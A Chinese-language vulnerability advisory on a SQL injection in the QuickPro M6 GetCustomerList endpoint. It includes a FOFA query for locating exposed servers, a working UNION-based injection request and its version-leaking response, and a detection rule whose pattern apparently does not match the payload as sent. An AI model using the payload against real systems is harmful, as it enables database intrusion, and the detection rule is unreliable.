

快普M6 GetCustomerList 存在SQL注入漏洞

快普M6 GetCustomerList 存在SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

快普M6

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="Resource/JavaScript/jKPM6.DateTime.js"

POC/EXP：

POST /WebService/wsAutoComplete.asmx/GetCustomerList HTTP/1.1

Host: 127.0.0.1

Content-Type: application/x-www-form-urlencoded

Content-Length: length

prefixText=a'+UNION+ALL+SELECT+@@VERSION,NULL--&count=1&contextKey=a

Request

< > 数据包扫描 美化 HEX 构造请求

1 POST /WebService/wsAutoComplete.asmx/GetCustomerList HTTP/1.1

2 Host : 127.0.0.1

3 Content-Type: application/x-www-form-urlencoded

4 Content-Length: length

5

6 prefixText=a'+UNION+ALL+SELECT+@@VERSION,NULL--&count=1&contextKey=a

195 bytes

美化 HEX 编码 请输入定位响应

1 HTTP/1.1 500 Internal Server Error

2 Cache-Control: private

3 Content-Type: text/plain; charset=utf-8

4 Server: Microsoft-IIS/7.5

5 X-AspNet-Version: 4.0.30319

6 X-Powered-By: ASP.NET

7 Access-Control-Allow-Methods: GET, PATCH, POST, DELETE, OPTIONS

8 Access-Control-Allow-Headers: accept, remember-me, x-requested-with, content-type

9 Access-Control-Allow-Origin: *

10 Date: Mon, 04 Aug 2025 07:09:07 GMT

11 Content-Length: 264

12

13 在将nvarchar值''Microsoft SQL Server 2005--9.00.1399.06'(X64)-

14 Oct 14 2005 00:35:21.

15 Copyright (c) 1988-2005 Microsoft Corporation

16 Developer Edition (64-bit) on Windows NT 6.1 (Build 7601; Service Pack 1)

17 '转换成数据类型:int时失败。

18

sonrt规则：

```
alert http any any -> $HOME_NET any (
```

```
msg:"QuickPro M6 - MSSQL Union Injection via GetCustomerList";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/WebService/wsAutoComplete.asmx/GetCustomerList";
http.client_body; content:"prefixText=";
pcre:"/prefixText=[^&]*'%2BUNION%2BALL%2BSELECT%2B%40%40VERSION/i";
metadata:cve CVE-2025-XXXXX;
metadata:affected_product "快普M6客户管理系统";
classtype:sql-injection;
sid:1000409;
rev:1;
priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。